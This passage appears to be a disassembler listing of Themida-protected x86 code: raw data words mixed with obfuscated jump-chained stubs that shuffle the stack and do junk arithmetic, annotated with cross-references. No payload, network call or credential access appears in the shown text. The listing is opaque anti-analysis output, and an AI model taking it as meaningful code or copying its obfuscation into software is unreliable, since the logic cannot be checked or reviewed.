0D888CBFEh, 53D8E9h, 24048700h, 241C895Ch dd 0E950E389h, 0FFFFD2A5h ; --------------------------------------------------------------------------- loc_547BC8: ; CODE XREF: Themida_:00548862j mov [esp], ecx jmp loc_548CFB ; --------------------------------------------------------------------------- loc_547BD0: ; CODE XREF: Themida_:0054541Dj pop ecx push dword ptr [esp] jmp loc_54216C ; --------------------------------------------------------------------------- db 53h, 0BBh, 4 dd 0E9000000h, 3B05h ; --------------------------------------------------------------------------- loc_547BE4: ; CODE XREF: Themida_:00543BA1j shr edx, 1 and edx, 4772163Bh xor edx, 21C31F07h push edx sub dword ptr [esp], 0FFE2A1Fh mov eax, [esp] jmp loc_543C7E ; --------------------------------------------------------------------------- dw 0E7C0h dd 0B182E902h, 7401FFFFh, 348B0424h, 4C48124h, 50000000h dd 716907B8h, 2444813Ch, 8D623604h, 24448110h, 0B31ECF04h dd 2444012Eh, 246C8104h, 0B31ECF04h, 246C812Eh, 8D623604h dd 4015810h, 0D075E924h, 5358FFFFh, 271ED3BBh, 1CF75318h dd 0C3815B24h, 18271ED7h, 55BD801h, 4, 0E9240433h, 0FFFFD12Bh dd 0D224248Bh, 0E99C2424h, 0FFFF9700h, 54AE68h, 24348900h dd 0FFBCFCE9h, 0D830ACFFh, 7B7768h, 241C8900h, 4EC81h dd 14890000h, 0E980B624h, 0DA7h, 0C41E92BDh, 4EC8164h dd 89000000h, 7CBA2414h, 810AAC76h, 0BA2588CAh, 0A9CA811Ch dd 812DB962h, 408803C2h, 52EA29C0h, 24148B5Dh, 0D01DE952h dd 0E42DFFFFh, 2952AF1Ch, 7B0E9C2h, 0D8F70000h, 183F7B35h dd 76272D7Fh, 28052EA5h, 0E970C3DFh, 45E0h, 241C8753h dd 0E953D3F7h, 0FFFFF011h, 55E68956h, 4BDh, 8BEE0100h dd 0C483242Ch, 4C68304h, 2474FF56h, 48F5E04h, 38A2E924h dd 8B540000h, 0C4812404h, 4, 2B3DE9h, 0E7815D00h, 5771608Eh dd 4028B951h, 0C981500Ch, 56DC4662h, 358CC181h, 0E1812DB9h dd 5D1A07E0h, 407BE981h, 0F1810D8Dh, 8DBEDBB6h, 0FFE179E9h dd 48B66FFh, 0E9545624h, 3D4h, 0E8C1E0D1h, 0FDBB5308h dd 81102737h, 0E10DE1EBh, 2AA4E962h, 0E2890000h, 4C281h dd 56500000h, 7F405DBEh, 5EF08975h, 59D2E9h, 6FE95E00h dd 0BF000050h, 4, 0CBE9FA01h, 0F6000056h, 2CE950DDh db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547DB3: ; CODE XREF: Themida_:0054738Cj sub eax, 47DA0E4Ch jmp loc_548F1F ; --------------------------------------------------------------------------- db 81h, 0C1h, 10h dd 0C113A533h, 0E7E904E9h, 0FF000040h, 48B2434h, 514B6824h dd 4890000h, 48B5424h, 0A688E924h, 525EFFFFh, 5F583BAh dd 5AD731B5h, 6A1DC181h, 0F9013A11h, 6A1DE981h, 815F3A11h dd 4C1h, 240C8700h, 3124248Bh, 69E92404h, 5CFFFF95h, 1BB868h dd 24148900h, 4FDDE955h, 0ED800000h, 59EB2867h, 8053B450h dd 0E300BBF4h, 81C30058h, 4ECh, 24148900h, 77A868h, 240C8900h dd 23B21EB5h, 0FFBCFFE9h db 0FFh ; --------------------------------------------------------------------------- loc_547E49: ; CODE XREF: Themida_:0054CDF6j inc edi sub edi, 529AF249h sub ecx, edi pop edi jmp loc_54BA9A ; --------------------------------------------------------------------------- loc_547E58: ; CODE XREF: Themida_:00546F15j mov [esp], esi push 4C85243Fh mov esi, [esp] jmp loc_549F4D ; --------------------------------------------------------------------------- loc_547E68: ; CODE XREF: Themida_:005438F1j add esp, 4 jmp loc_54803C ; --------------------------------------------------------------------------- dd 159CF29h, 243C8BFBh, 4C481h, 0C3830000h, 241C8704h dd 0E924248Bh, 0FFFF94ECh, 5C243C87h, 4BD55h, 56050000h dd 1298539h, 3671E9E8h, 4B80000h, 1000000h, 575658C1h dd 0FFD255E9h, 81E189FFh, 4C1h, 58D0E900h, 0F1810000h dd 0A9D146Fh, 0DD8AE981h, 0CD8901EEh, 37ED8159h, 2914BDCCh dd 64E95DEBh db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547EDB: ; CODE XREF: Themida_:0054C784j pop ebx push ebx mov ebx, 6A3709FCh sub ebx, 0ECADA9FDh sub edx, ebx pop ebx jmp loc_54B767 ; --------------------------------------------------------------------------- dd 0BB53D629h, 51B264D6h, 5D4EF381h, 0F38108C0h, 330B3447h dd 3BC3BA52h, 0EA8157AAh, 2706BEB3h, 815AD329h, 84226CBh dd 24F38169h, 14393E5h, 875A5BDEh, 895C2434h, 0B3B1240Ch dd 0FFC306E9h, 240C89FFh, 2B53E9h, 7889BE00h, 14E96C86h dd 59FFFFBEh, 4C481h, 0C4810000h, 4, 0FFD592E9h, 0C8E95EFFh dd 1FFFFEAh, 0EF0158C5h, 0FFDBCCE9h, 0FC009FFh, 46684h dd 1C77FF00h, 8904EC83h, 0BE562404h, 1BD94B1Bh, 2AF0B850h dd 0C6317D54h, 0FFB293E9h, 243CD2FFh, 93E6E99Ch, 0F66FFFFh dd 0CAE902B6h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547F9B: ; CODE XREF: Themida_:0054CC57j mov [esp], cx push 701Dh mov [esp], ebx jmp loc_548479 ; --------------------------------------------------------------------------- loc_547FAC: ; CODE XREF: Themida_:005449FEj add ebp, ecx pop ecx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp add bl, al push 5888h mov [esp], eax mov al, 0DDh jmp loc_54C8A8 ; --------------------------------------------------------------------------- dw 1C89h db '$h~)',0 align 2 dw 489h dd 2434FF24h, 81241C8Bh, 4C4h, 4EC8100h, 89000000h, 0E389241Ch dd 4EC81h, 4890000h, 1002B824h, 0BE92FCAh, 55000059h, 4BDh dd 0E9E90100h, 2301h, 598CE9ADh, 9A680000h, 5F3B2402h dd 0E781DFF7h, 1E059FEh, 5602EFC1h, 9B2BACBEh, 81DEF741h dd 673737CEh, 0BDEE8113h, 0E9471F11h, 4039h ; --------------------------------------------------------------------------- loc_54803C: ; CODE XREF: Themida_:00547E6Bj push 5136h jmp loc_54839F ; --------------------------------------------------------------------------- dw 0B8h dd 5000000h, 26201245h, 452DE829h, 0E9262012h, 52FDh ; --------------------------------------------------------------------------- loc_54805C: ; CODE XREF: Themida_:00548B8Ej not edx jmp loc_541F57 ; --------------------------------------------------------------------------- db 5Dh dd 31241433h, 14332414h, 24248B24h, 4B30F66h, 0FDE99C24h dd 66FFFF92h, 0E9240C8Bh, 0FFFFFBF4h, 4B8h, 205FE900h dd 0CE810000h, 6D7E2784h, 83EE8146h, 152CF67h, 0F7815EF7h dd 3AE258AAh, 14FCEF81h, 814F48A1h, 0E5135AF7h, 2DFBE9BDh dd 0E1C00000h, 8E1C008h, 28FFC180h, 435BE9CEh, 0F2810000h dd 6E865EE8h, 148BD601h, 4C48124h, 52000000h, 2BAh, 5AD60100h dd 31243433h, 34332434h, 0E7E95C24h, 83000029h, 42E904ECh db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5480F7: ; CODE XREF: Themida_:0054D08Cj mov edi, [esp] add esp, 4 shl edi, 7 sub edi, 27203DBEh push edi pop ebx jmp loc_543B30 ; --------------------------------------------------------------------------- dd 1C8C68h, 240C8900h, 0FFDE1DE9h, 0C1DBF7FFh, 0CDE902EBh dd 81FFFFFBh, 3A7E52E2h, 0F7DAF753h, 81DAF7DAh, 6CCE19EAh dd 0E9D70128h, 0FFFFD073h, 5E2434FFh, 81E38953h, 4C3h dd 4C38300h, 5C241C87h, 0FFD2ECE9h, 0F7D987FFh, 0C001E9D3h dd 0C483FFFFh, 0E9545104h, 286h, 5154EB81h, 0FB29451Fh dd 1C70E9h, 3C77FF00h, 8904EC83h, 0CBE9242Ch db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548187: ; CODE XREF: Themida_:00542FE8j push 3DF7h mov [esp], eax mov eax, 4 jmp loc_5452DE ; --------------------------------------------------------------------------- db 80h, 0F1h, 41h dd 665FC980h, 2414F651h, 0E9C05966h, 54A2E904h, 0C5810000h dd 31243911h, 4ED835Fh, 0E9242C33h, 0FFFFF567h, 2474FF50h dd 48F5804h, 0E1895124h, 4C181h, 24E90000h, 33FFFFCFh dd 0C31240Ch, 240C3324h, 6824248Bh, 33D9h, 0FFD556E9h db 0FFh ; --------------------------------------------------------------------------- loc_5481ED: ; CODE XREF: Themida_:00544A3Bj dec dh xor dh, 0Dh sub bl, dh pop edx push eax jmp loc_54790B ; --------------------------------------------------------------------------- db 0ADh dd 7F9BE56h, 71E96931h, 5500001Eh, 455B55BDh, 0E581455Ch dd 41AB5E72h, 7881CD81h, 0ED811D07h, 7D611D93h, 615FE581h dd 0BA525475h, 57CC4961h, 0F44E9h, 1ED8300h, 0FE0CE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54823A: ; CODE XREF: Themida_:005451BFj xor [esp], edx xor edx, [esp] jmp loc_5487BC ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 0EC810000h, 4, 0FFB197E9h db 0FFh ; --------------------------------------------------------------------------- loc_548259: ; CODE XREF: Themida_:00543CE7j sub esp, 4 mov [esp], eax mov eax, esp push edi mov edi, 422A224Eh jmp loc_54C4BA ; --------------------------------------------------------------------------- db 50h dd 0D6242C81h, 8B599463h, 74E9243Ch db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54827F: ; CODE XREF: Themida_:0054C503j add ecx, edi push ebx mov ebx, 3FC082Fh add ebx, 0FFFFFFFFh neg ebx xor ebx, 7F95571Dh add ebx, 16432C0Eh shl ebx, 2 add ebx, 0F7D9E49Dh add ecx, ebx pop ebx jmp loc_5435C9 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 1FEAE9h db 0 ; --------------------------------------------------------------------------- loc_5482B1: ; CODE XREF: Themida_:005475ADj pop ebx xor ebx, 49CC26F3h mov ecx, ebx jmp loc_54D81D ; --------------------------------------------------------------------------- loc_5482BF: ; CODE XREF: Themida_:0054D37Ej mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] add edi, 72D26C09h add edi, ecx jmp loc_543B8E ; --------------------------------------------------------------------------- dd 825B252h, 0B4E95AD5h, 66FFFFAAh, 6824048Bh, 6834h, 89243C89h dd 91BDE9E7h, 0EE29FFFFh, 0E9242C8Bh, 4461h, 8B240487h dd 0E92424h, 66000037h, 0E9240489h, 0FFFF905Ch, 239BA52h dd 42E920D8h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548327: ; CODE XREF: Themida_:0054B769j mov ebp, 2DBF5D5Fh add [esp+4], ebp jmp loc_54A6B0 ; --------------------------------------------------------------------------- aLSu db '‹$$éu/',0 dd 48F58100h, 107218Bh, 2434FFE8h, 0FFE8F7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54834D: ; CODE XREF: Themida_:005419CAj push 2DB7h jmp loc_54644D ; --------------------------------------------------------------------------- db 80h dd 0CB0015EBh, 5915C380h, 0EB80C300h, 11C38047h, 0FFC023E9h db 0FFh ; --------------------------------------------------------------------------- loc_54836D: ; CODE XREF: Themida_:0054CC33j pop ecx shl esi, 8 push ebp mov ebp, 0ED12B0Ch sub esi, ebp mov ebp, [esp] jmp loc_545004 ; --------------------------------------------------------------------------- db 56h, 68h, 0FDh dd 8B722B3Ch, 0C4812434h, 4, 0FF96B5E9h, 5AD388FFh, 5BE9D888h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54839F: ; CODE XREF: Themida_:00548041j mov [esp], esi mov esi, 2EA6663Dh not esi add esi, 9F282EE6h sub eax, 24313FC1h sub eax, 1F95B3Ah sub eax, 0F764ED0h sub eax, esi push ecx jmp loc_541ABC ; --------------------------------------------------------------------------- dw 0E901h dd 0FF9768E9h, 4C483FFh, 5604C483h, 4EC81h, 77E90000h dd 4F000049h, 8904EC83h, 6FBA2414h, 21725258h, 0D35AE9D7h dd 8159FFFFh, 4C1h, 4C07E900h, 34FF0000h, 0C145E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548406: ; CODE XREF: Themida_:005448C7j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp or ecx, ecx jz loc_54BD98 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] push ebx mov ebx, esp jmp loc_54C1C5 ; --------------------------------------------------------------------------- db 0BDh dd 18933321h, 2C8BE901h, 4C48124h, 51000000h, 592414F7h dd 0D3FDF181h, 0D1E9BE8Eh, 81FFFFBBh, 2A7110F5h, 0E9EF8964h dd 0FFFFDA97h, 0E924048Fh, 0FFFFE040h ; --------------------------------------------------------------------------- loc_548468: ; CODE XREF: Themida_:00545862j mov ebp, 4E9446EFh push ecx sub esp, 4 jmp loc_54B9D3 ; --------------------------------------------------------------------------- loc_548479: ; CODE XREF: Themida_:00547FA7j mov bl, 0E3h mov ch, bl pop ebx push edx mov dh, 0F7h jmp loc_54CF98 ; --------------------------------------------------------------------------- loc_548486: ; CODE XREF: Themida_:0054BB87j xor ebp, ecx pop ecx jmp loc_5418F5 ; --------------------------------------------------------------------------- aXsi db 'Xé¨:',0 align 4 loc_548494: ; CODE XREF: Themida_:0054B031j or esi, 20002835h sub esi, 1 push esi not dword ptr [esp] pop esi xor esi, 82A44EB5h xor ebp, esi pop esi and eax, ebp pop ebp shr eax, 0Eh xor eax, ecx push 4904h mov [esp], eax sub esp, 4 mov [esp], edx jmp loc_541586 ; --------------------------------------------------------------------------- db 52h, 0E9h, 6Ah db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5484CF: ; CODE XREF: Themida_:0054714Cj xchg eax, [esp] jmp loc_54579C ; --------------------------------------------------------------------------- aPirsw7 db '^P‰àéW7',0 align 10h dd 36196858h, 0C890000h, 81E18924h, 4C1h, 4E98100h, 87000000h dd 248B240Ch, 240C8924h, 2B9h, 0C8BDE900h, 555DFFFFh, 6855C589h dd 1392h, 0BD242C89h, 1C8E1CF6h, 4244481h, 6FD5498Ch, 4246C01h dd 498CBA52h, 54296FD5h, 5D5A0824h, 83240C8Bh, 0BF5704C4h dd 714C454Eh, 8DEF814Fh, 0F777CB77h, 9027E9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54854E: ; CODE XREF: Themida_:00541D19j add esi, edx jmp loc_545FDD ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 8704C483h, 525C241Ch, 0FB681BBAh, 409FE938h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54856A: ; CODE XREF: Themida_:00549998j sub ecx, 3A847AA3h jmp loc_5460CC ; --------------------------------------------------------------------------- db 81h, 0CEh, 2Bh dd 81536860h, 526937F6h, 8BF72969h, 0C4832434h, 0FFFE8904h dd 815F2434h, 4C4h, 5EF00100h, 0F66C331h, 545100B6h, 14A8E9h dd 1C77FF00h, 6658669Dh, 9C240411h, 0FF8DC3E9h, 59CB89FFh dd 0DD51E943h, 0B9FFFFh, 1000000h, 0E91188C1h, 4CFFh, 8B241487h dd 77FF2424h, 2434FF1Ch, 81240C8Bh, 4C4h, 4EC8100h, 89000000h dd 1FE92414h, 0BF000022h, 0D15FA161h, 3C8BF831h, 4C48124h dd 1000000h, 575058C3h, 0FFFA09E9h, 4C483FFh, 5C24048Fh dd 261EE9h, 0E9E08900h, 0FFFFBDE2h, 180368h, 24248900h dd 4240483h, 4EC835Eh, 0E9241C89h, 0FFFFEED6h, 0C2164D2Dh dd 1423E910h, 0A8040000h, 46768h, 24148900h, 465DE9h, 5B8ABF00h dd 0DFF72F54h, 8105EFC1h, 0D63C1EF7h, 77BD552Ah, 0E902BA39h dd 0FFFFA049h, 965C1A68h, 1CBB5919h, 8119965Ch, 0B67758EBh dd 99D9E96Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54867E: ; CODE XREF: Themida_:00545A19j pop esi jmp loc_546679 ; --------------------------------------------------------------------------- dd 8124148Bh, 4C4h, 14875F00h, 0E95824h, 52FFFFCCh, 42474FFh dd 6824148Bh, 3742h, 89240C89h, 4BD55E1h, 0E9000000h, 0FFFFE0C5h ; --------------------------------------------------------------------------- loc_5486B4: ; CODE XREF: Themida_:0054A28Ej push esi mov esi, 4 sub ecx, esi pop esi xchg ecx, [esp] pop esp mov [esp], esi jmp loc_5461C1 ; --------------------------------------------------------------------------- db 0B8h, 2, 0 dd 0AE90000h, 55FFFFC8h, 5D2414F7h, 45D5F74Dh, 3F7ABE56h dd 0BD5539E7h, 46FF3CF6h, 0E906EDC1h, 2626h ; --------------------------------------------------------------------------- loc_5486F0: ; CODE XREF: Themida_:005459D1j add esp, 4 and eax, ebx pop ebx or edx, eax shl edx, 1 sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], edi mov edi, 78721DEEh mov edx, edi pop edi shl edx, 1 sub edx, 77C3130Ah jmp loc_545D99 ; --------------------------------------------------------------------------- dd 0C8B60F5Ch, 0C9E95456h, 52FFFF97h, 205552BAh, 0EBBAE91Eh dd 3C33FFFFh, 8B665C24h, 0EC832404h, 24148904h, 52535A54h dd 635F7DBAh, 5AD3892Ah, 0FFEEC8E9h db 0FFh ; --------------------------------------------------------------------------- loc_548759: ; CODE XREF: Themida_:0054D3C0j mov [esp], ebp push 103775A8h jmp loc_544AE5 ; --------------------------------------------------------------------------- dw 0F75Fh dd 11C581DDh, 8140E570h, 6880D5F5h, 66DD2D5Dh, 0E8292D0Dh dd 17A9E9h, 5DEF0100h, 4C781h, 3C330000h, 243C3124h, 1233E9h dd 53C32800h, 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h dd 92B45024h, 0B252DCF6h, 0E9D430B5h, 4E1Eh ; --------------------------------------------------------------------------- loc_5487BC: ; CODE XREF: Themida_:00548240j pop esp jmp loc_54C886 ; --------------------------------------------------------------------------- loc_5487C2: ; CODE XREF: Themida_:0054C51Aj and ebp, 773584Dh inc ebp dec ebp sub ebp, 212103Fh mov edi, ebp pop ebp add ebp, edi mov edi, [esp] jmp loc_546812 ; --------------------------------------------------------------------------- loc_5487DD: ; CODE XREF: Themida_:00543CC4j add edi, 0A03BDAA8h jmp loc_546BF7 ; --------------------------------------------------------------------------- dd 0E9D830ACh, 35FEh, 81E28952h, 4C2h, 4EA8300h, 5C241487h dd 50241C89h, 0C45FE956h, 8B66FFFFh, 3068240Ch, 89000046h dd 0E2892414h, 4EC81h, 0C890000h, 6BB0B924h, 1BE9674Dh dd 8BFFFF96h, 0C4832434h, 0C1815804h, 2, 2474FF51h, 240C8B04h dd 3764E9h, 4332C00h, 240C8BF8h, 0A889E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548852: ; CODE XREF: Themida_:0054432Bj pop ecx push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push 1020h jmp loc_547BC8 ; --------------------------------------------------------------------------- loc_548867: ; CODE XREF: Themida_:00549EF2j mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [esp] pop ecx jmp loc_542A68 ; --------------------------------------------------------------------------- dw 2C89h dd 4BD24h, 39E90000h, 66FFFFC0h, 0E9240C8Bh, 387Fh, 1D5E17BFh dd 6E7C13Dh, 24F7E781h, 0C78118FCh, 3D70369Ah, 0C1D7F74Fh dd 8B6803EFh, 0E9000064h, 0FFFFB3D3h, 31C6E9ACh, 0FE880000h dd 0E9F48850h, 0FFFFCCF9h, 57C2015Bh, 255731BFh, 0BCE78119h dd 477A6E6Dh, 8106EFC1h, 2A5540EFh, 81EFD14Fh, 0B90994C7h dd 5FFA01E0h, 9EC281h, 79E9731Ah, 66FFFF8Ah, 52240C8Bh dd 24148B54h, 0FF9374E9h, 4C681FFh, 83000000h, 3E904C6h dd 68FFFF94h, 16F2h, 89243489h, 4C681E6h, 68000000h, 43E1h dd 81243C89h, 4ECh, 241C8900h, 299CB850h, 0C38946C8h, 2998BF58h dd 31E946C8h, 5DFFFF8Ah, 0FFC768E9h, 81D6F7FFh, 0BB48BBE6h dd 9C6811Dh, 813C7C48h, 0AF909EF6h, 5EF1294Ch, 8B240C87h dd 89662424h, 0B2E92404h, 89000048h, 4BF57E2h, 1000000h dd 0B8E1E9FAh, 815DFFFFh, 2F32F2EEh, 50BB5341h, 0E97F6342h dd 29C0h ; --------------------------------------------------------------------------- loc_54899C: ; CODE XREF: Themida_:0054A853j push edi push eax push 54B100ACh pop eax shr eax, 5 sub eax, 2A58005h mov edi, eax pop eax mov esi, edi mov edi, [esp] push 7950h mov [esp], eax mov eax, esp push 22C2h mov [esp], edi mov edi, 2FBA4A1Ch jmp loc_542379 ; --------------------------------------------------------------------------- dd 1C70E181h, 0D9F71020h, 1429C181h, 0F18100D6h, 0CBE211A2h dd 0E981D1F7h, 9937CE06h, 0C8BC889h, 4C48124h, 31000000h dd 58042444h, 56BE5658h, 0F76BF32Ah, 0BA524EDEh, 6AE05350h dd 3870E281h, 0E94A5A71h, 0FFFFD0EFh ; --------------------------------------------------------------------------- loc_548A18: ; CODE XREF: Themida_:00547478j add esp, 4 sub dl, 0EBh not dl sub esp, 4 mov [esp], edx not byte ptr [esp] jmp loc_54358F ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 8 dd 1464F281h, 7BE90000h, 89000022h, 9CE92414h, 66000008h dd 246C8652h, 0B1B8E901h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548A52: ; CODE XREF: Themida_:00549428j mov edx, edi pop edi push edx mov edx, 9E7198Ah mov ebx, edx pop edx add ebx, edx pop edx jmp loc_544917 ; --------------------------------------------------------------------------- dw 4BFh dd 29000000h, 0A18CE9FAh, 148BFFFFh, 0E6895624h, 4C681h dd 91E90000h, 57FFFFC1h, 3E3437BFh, 31E7815Bh, 0E9204414h dd 0FFFFD3BDh, 8F24248Bh, 248B2404h, 0BB0F6624h, 0E99C2404h dd 0FFFF88D0h, 3487574Fh, 87D6F724h, 0E95F2434h, 0FFFFC261h dd 0E902E9C1h, 5A1h ; --------------------------------------------------------------------------- loc_548AC0: ; CODE XREF: Themida_:00544CD4j pop eax jmp loc_543F12 ; --------------------------------------------------------------------------- loc_548AC6: ; CODE XREF: Themida_:0054671Ej pop bx push ebx mov bh, 0B9h jmp loc_5466DB ; --------------------------------------------------------------------------- dd 3C5FEA81h, 0C2013F0Bh, 3C5FC281h, 0E9583F0Bh, 2FAFh dd 42474FFh, 81240C8Bh, 4C4h, 24048F00h, 2434FF5Ch, 0E92434FFh dd 4234h, 582414F7h, 0BB53h, 0C3290000h, 5B585350h, 0D371055Bh dd 0C381E780h, 3FA523FDh, 0EB81C301h, 3FA523FDh, 4475E958h dd 8B660000h, 86E92404h, 66000049h, 0E924148Bh, 4A49h dd 0C62DE0D1h, 0E9E84ED0h, 949h, 0E904EC83h, 0FFFFACC5h ; --------------------------------------------------------------------------- loc_548B50: ; CODE XREF: Themida_:00549F25j pop eax jmp loc_5495C3 ; --------------------------------------------------------------------------- dw 248Bh dd 0C896624h, 302AE924h, 0BD550000h, 79BE2C05h, 45F5E9h dd 2434FF00h, 29C2E9h db 0 ; --------------------------------------------------------------------------- loc_548B75: ; CODE XREF: Themida_:00544572j and esi, ecx pop ecx push edi mov edi, 280402Ch sub esi, edi jmp loc_543C1D ; --------------------------------------------------------------------------- loc_548B85: ; CODE XREF: Themida_:005433CEj not edx xchg edx, [esp] pop edx shl edx, 1 dec edx jmp loc_54805C ; --------------------------------------------------------------------------- loc_548B93: ; CODE XREF: Themida_:00547074j add ebp, 4 jmp loc_54261D ; --------------------------------------------------------------------------- loc_548B9E: ; CODE XREF: Themida_:00541D59j push 0D30h jmp loc_5444FD ; --------------------------------------------------------------------------- dd 0BEE9F001h, 81FFFFC5h, 4C2h, 0E6895600h, 4C681h, 0EE830000h dd 24348704h, 2404895Ch, 0B806CCB8h, 0E8C1407Ch, 1F97E908h dd 852C0000h, 0B7535A66h, 66DFF614h, 3095B050h, 45866C7h dd 0E9262C87h, 4471h, 8B2434FFh, 0C4832404h, 38236804h dd 0C890000h, 0C8B5424h, 3BCAE924h, 148B0000h, 8B545324h dd 0C481241Ch, 4, 8904EC83h, 5552243Ch, 3863BCBDh, 0C7A8BA23h dd 0EA010B14h, 8BD7895Dh, 0C4832414h, 7CC78104h, 81329311h dd 0AB67ECF7h, 1FB95134h, 8169EA64h, 240814F1h, 0FDC18102h dd 0E9E87CEEh, 0FFFFF218h, 9CC83B5Ch, 0FF8717E9h, 61EF81FFh dd 11F5B24h, 61C781EFh, 0FF1F5B24h, 94E92434h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548C77: ; CODE XREF: Themida_:00547701j pop ebp jmp loc_545026 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 4C5815Ch, 0E9000000h, 0FFFFC917h, 0FECF814Fh, 0C17D9308h dd 90E903E7h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_548C9B: ; CODE XREF: Themida_:00543651j mov eax, edi pop edi pop ebp add esi, eax pop eax xchg esi, [esp] pop esp or eax, eax jz loc_545DC4 push dword ptr [edi+1Ch] jmp loc_543787 ; --------------------------------------------------------------------------- loc_548CB6: ; CODE XREF: Themida_:00545355j shr edi, 8 xor edi, 168B6007h and edi, 60C81209h jmp loc_54A7DA ; --------------------------------------------------------------------------- loc_548CCA: ; CODE XREF: Themida_:0054D8ADj xor edi, 0DF10D4E2h push edx mov edx, edi mov esi, edx jmp loc_54C223 ; --------------------------------------------------------------------------- loc_548CDA: ; CODE XREF: Themida_:00549434j push 568Fh mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp push ebp push esi jmp loc_545413 ; --------------------------------------------------------------------------- dw 34FFh dd 79E95924h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548CFB: ; CODE XREF: Themida_:00547BCBj mov ecx, 24h add esi, ecx push dword ptr [esp] pop ecx push esi push esp push dword ptr [esp] pop esi add esp, 4 push ecx jmp loc_546E75 ; --------------------------------------------------------------------------- dd 7D6BEA81h, 0D689611Ch, 5E31895Ah, 68D23159h, 2055h dd 0FF241C89h, 57582434h, 5FE9E789h, 81FFFFA7h, 5F6B68EBh dd 5BD8899Ah, 80D7925h, 2E8C109h, 7461040Dh, 57D8F769h dd 0FFF896E9h, 861AE9FFh, 15E9FFFFh db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548D63: ; CODE XREF: Themida_:0054D527j mov [esp], ebp push esi mov esi, 6B5B0980h inc esi sub esi, 6E0355E4h jmp loc_54D12B ; --------------------------------------------------------------------------- loc_548D78: ; CODE XREF: Themida_:005468BFj pop ebp xchg edx, [esp] pop esp sub esp, 4 jmp loc_54B349 ; --------------------------------------------------------------------------- loc_548D88: ; CODE XREF: Themida_:00546E9Ej sub esp, 4 mov [esp], ebp jmp loc_5479BB ; --------------------------------------------------------------------------- dw 1A05h dd 17C0927h, 0D82958C3h, 58C6015Bh, 81E28952h, 4C2h, 3AFDE900h dd 88B90000h, 291AFB65h, 240C8BCBh, 2904C483h, 241C8BD8h dd 4C481h, 0F8010000h, 110C1B05h, 243C8B61h, 4C481h, 0C3810000h dd 7901EEh, 3179EB81h, 0C38111D9h, 0EF43826h, 0FFE40BE9h dd 14C781FFh, 1F25A91h, 0EC815FFDh, 4, 0B8240489h, 4, 0E958C501h dd 13F5h, 81E38953h, 4C3h, 2BE5600h, 29000000h, 2434FFF3h dd 0FF93D7E9h, 24148BFFh, 3304C483h, 0D2E9243Ch, 81000043h dd 963D7C2h, 7AE95055h, 52FFFFB1h, 42474FFh, 9DF2E95Ah dd 895CFFFFh, 0EC832414h, 243C8904h, 2F2BE5BFh, 1B6CE900h dd 58510000h, 80BA5259h, 0C11CCC46h, 0C28103EAh, 0C7F7F22h dd 0E908EAC1h, 2091h, 0D71F382Dh, 0E9C80138h, 23E6h, 81E68956h dd 4C6h, 4B95100h, 1000000h, 279DE9CEh, 0C3000000h, 0C0B60F58h dd 87048F66h, 0FF84CBE9h, 4E1C1FFh, 4EC81h, 4890000h, 0C446B824h dd 0C131BD29h, 38D3E9h, 0E9C30100h, 238Fh, 8244429h, 8244481h dd 61834AC5h, 242C8B58h, 81E38953h, 4C3h, 4C38100h, 87000000h dd 0E95C241Ch, 0FFFFE3C8h ; --------------------------------------------------------------------------- loc_548EF4: ; CODE XREF: Themida_:00542C1Bj pop ecx jmp loc_54B1FD ; --------------------------------------------------------------------------- loc_548EFA: ; CODE XREF: Themida_:00545FC1j mov esp, [esp] jmp loc_541D26 ; --------------------------------------------------------------------------- dw 0BB53h dd 1D981693h, 8904EC83h, 0BE56242Ch, 3FFA136Bh, 1BD3E9h dd 0D0E95C00h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548F1F: ; CODE XREF: Themida_:00547DB8j add eax, edx add eax, 47DA0E4Ch pop edx push ebx jmp loc_546BA0 ; --------------------------------------------------------------------------- db 83h, 0C2h, 2 dd 8B241487h, 3CD32424h, 39E99C24h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548F3F: ; CODE XREF: Themida_:0054CAD8j add ecx, edx sub ecx, 8D0466Ch add dword ptr [ecx], 1 push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 add esp, 4 mov edx, [esp] add esp, 4 loc_548F66: ; CODE XREF: Themida_:0054A588j push 77DBh mov [esp], ebx mov eax, [esp] push 290h mov [esp], edi mov edi, esp push esi jmp loc_54455B ; --------------------------------------------------------------------------- db 5Ch, 89h, 14h dd 1A40BA24h, 21E97CE1h, 